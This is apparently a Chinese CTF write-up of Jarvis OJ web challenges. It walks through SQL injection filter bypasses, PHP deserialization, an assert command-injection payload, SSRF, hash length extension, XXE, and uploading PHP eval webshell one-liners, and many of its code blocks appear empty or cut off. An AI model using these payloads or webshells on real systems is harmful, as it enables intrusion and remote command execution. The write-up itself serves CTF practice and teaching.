PORT51
使用curl的--local-port
功能强制使用本地51端口访问,但我在本地Windows没能跑通,可能不兼容吧。虚拟机里是把端口映射出来的,所以也跑不通。最后在服务器拿到了flag。
LOCALHOST
IP伪造,burp截包,改x-forwarded-for绕过
IP伪造知识点传送门
Login
查看http头得到hint
md5($pass,true)
,md5第二个参数为输出格式,默认为false,
- TRUE - 原始 16 字符二进制格式
- FALSE - 默认。32 字符十六进制数
意思就是当为True时,函数会将$pass变量加密后的字符串转换为Ascii对应的值
由此我们可以寻找一个字符串让其md5后的值为'or'xxx
类型
这样sql语句就变成了
1 | select * from `admin` where password=''or'xxxx'; |
例如字符串ffifdyop
神盾局的秘密
f12查看前端源码,其中图片的路径很奇怪,showimg.php?img=c2hpZWxkLmpwZw==
可以猜到它可能含有文件包含漏洞
读取各页面源码
index.php
1 |
|
shield.php
1 |
|
提示flag在pctf.php,明显利用反序列化读取文件,构造payload
1 |
|
?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
In A Mess
f12得到hint,查看源码
1 |
|
首先$_GET['id']
同时要求!$_GET['id']
和$_GET['id']==0
同时成立,这里考察的是弱类型.令$_GET['id']='0a'
即可绕过
$a和$data利用php://input或者Data URI scheme协议上传文件内容
即$a=php://input同时post 1112 is a nice lab!
或者$a=data:,1112 is a nice lab!
最后$b是%00绕过,构造$b=%0023456
发现这并不是flag,根据/
猜测是路径,访问http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=1
接下来就是sql注入了
测试id处
发现空格
,/**/
被放入黑名单,可以利用/*xxx*/
绕过
还有select
,union
,from
被过滤,可以采用复写的方式绕过
payload
1 | /*测试回显位置*/ |
RE?
这题很有意思,需要将so文件导入到linux数据库中
先将文件下载到/usr/lib64/mysql/plugin
以完成载入
接下来进入mysql,创建help_me函数并查看它
1 | create function help_me returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172'; |
题目要求我们访问getflag函数,那我们继续创建
1 | create function getflag returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172'; |
PHPINFO
api调用
查看前端源码,发现支持xml通讯,所以猜测存在XXE漏洞
上传payload
WEB?
查看源码,将app.js规则化,审计源码,发现是解线性方程
1 | function(e) |
直接给payload的了
1 | from numpy import * |
babyphp
根据提示猜测存在git源码泄露
使用GitHack获取源码
index.php
1 |
|
第一次见assert这样用,显然通过闭合引号达到任意命令执行
payload
1 | assert("strpos('templates/'.system("cat templates/flag.php").'.php', '..') === false") |
即?page=%27.system("cat%20templates/flag.php").%27
admin
查看robots.txt
1 | Disallow: /admin_s3cr3t.php |
访问admin_s3cr3t.php
查看cookie,发现有个admin,将其值修改为1再访问得到flag
inject
查看index.php~发现源码
1 |
|
我们发现了反引号,需要让这段代码中的SQL语句能运行成功才能进入下一条查询语句中。
1 | mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker(); |
反引号是为了区分MySQL的保留字与普通字符而引入的符号。不加反引号建的表不能包含MYSQL保留字符,否则出错。
- 在标准 SQL 中,字符串使用的是单引号。
- 如果字符串本身也包括单引号,则使用两个单引号(注意,不是双引号,字符串中的双引号不需要另外转义)。
- MySQL对 SQL 的扩展,允许使用单引号和双引号两种。
我们发现在使用反引号时,只要前表table1存在,即使table2不存在,该语句也是能执行的
1 | desc `table1` `table2` |
单引号不适用,并且这边的table2会转为table1的别名
而查看源码可以发现secret_test
这个表是存在的,所以我们可以通过
1 | ?table=test` `xxxxx |
绕过
进而执行下一条语句
1 | select 'flag{xxx}' from secret_{$table} |
上文也说了只要表一存在,表二不存在也是能执行的,这里也适用
所以我们只要在xxxxx
处填充union注入语句
就行了
payload
1 | ?table=test` ` union select database() limit 1,1 |
Simple Injection
方法一
打开题目第一直觉sql注入
尝试POST username=admin&password=1
回显密码错误
POST username=admin'&password=1
回显用户名错误
POST username=admin' #&password=1
回显密码错误
POST username=admin' and 1=1#&password=1
回显用户名错误
即and 1=1
处存在问题
猜测过滤了and
或者空格
重新POST username=admin' and/**/1=1#&password=1
回显密码错误
接着POST username=admin' union/**/select/**/1#&password=1
依旧回显密码错误
猜测存在md5加密 POSTusername=admin' union/**/select/**/md5(1)#&password=1
getflag
总结:其实挺迷的,第一个空格他没有过滤反而后面的被过滤了,有一丝不解.
方法二
sql盲注,sleep函数未过滤
直接给payload
1 | # -*- coding:utf8 -*- |
获得md5密码后334cfb59c9d74849801d5acdcfdaadc3
,通过解密网站解密后得eTAloCrEP
,登陆拿到flag
Chopper
f12查看源码,发现proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg
,猜测是ssrf
访问admin,发现hint<!--<script>alert('admin ip is 202.5.19.128')</script>-->
尝试访问proxy.php?url=http://202.5.19.128
发现url被重定向到http://web.jarvisoj.com:32782/index.php?url=http://8080av.com
可见是可访问的,尝试访问http://202.5.19.128/admin/
和http://202.5.19.128/proxy.php
proxy.php可访问,那我们再利用此页面访问原站
即http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/
得到提示,you are closing
尝试扫描此页面
发现robots.txt
1 | User-agent: * |
访问得到
1 | "#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t")); ${( |
发现php代码被混淆,直接利用php命令执行
1 | PHP Warning: Cannot call assert() with string argument dynamically in C:\Users\desperado\Desktop\1.php on line 1 |
由于我本地环境是php7,assert使用于php5,所以用php5重新执行一遍
1 | Notice: Undefined offset: 360 in D:\APP\phpstudy\PHPTutorial\WWW\1.php(1) : assert code on line 1 |
得到密码360
访问木马界面,Post命令360=cat flag.jpg
,得到flag
flag在管理员手中
截包发现两个cookierole=s%3A5%3A%22guest%22%3B
hsh=3a4727d57463f122833d9e732f94e4e0
猜测是hash长度扩展攻击,爆破目录发现index.php~
文件
分析文件格式发现是vim的.swp
异常文件
将文件名改为index.php.swp
,然后通过vim -r index.php.swp
修复文件
得到源码
1 | <!DOCTYPE html> |
加密内容和hash值可控,典型的hash长度扩展攻击
由于长度未知,需要我们编写脚本爆破
其中有一点,题目要求满足unserialize($_COOKIE["role"])==="admin"
这个条件
由于php反序列化时会忽略第一个可序列化后对象之后的字符串,所以我们只要在hash长度扩展攻击时添加admin的序列值
即可
payload
1 | import requests |
Easy Gallery
看见url第一眼感觉就是存在文件包含
尝试php://filter泄露源码,提示Cross domain forbidden!
,(我这也没跨站啊)
猜测检测过滤//
,所以源码是看不到了.
但根据url我们可以猜测?page=view
包含view.php
可能是在后面直接添加.php
访问,这样我们就可以利用%00截断
访问一些其他页面
还有可能是利用键值对映射,如'view'=>'view.php'
,那这里就没有办法利用了
继续看上传页面,尝试上传祖传jpg图片马(jpg图片掺杂<?php @eval($_POST['pass']);?>
),上传成功
尝试访问,可以访问.show界面好像没有什么可以利用的
重新转战url,尝试%00截断
,能够访问,但是报错You should not do this!
应该是一句话木马被检测到了
尝试另外两种一句话<?=@eval($_POST['pass']);?>
<script language="php">eval($_POST['pass']);</script>
第二种能够绕过,直接得到结果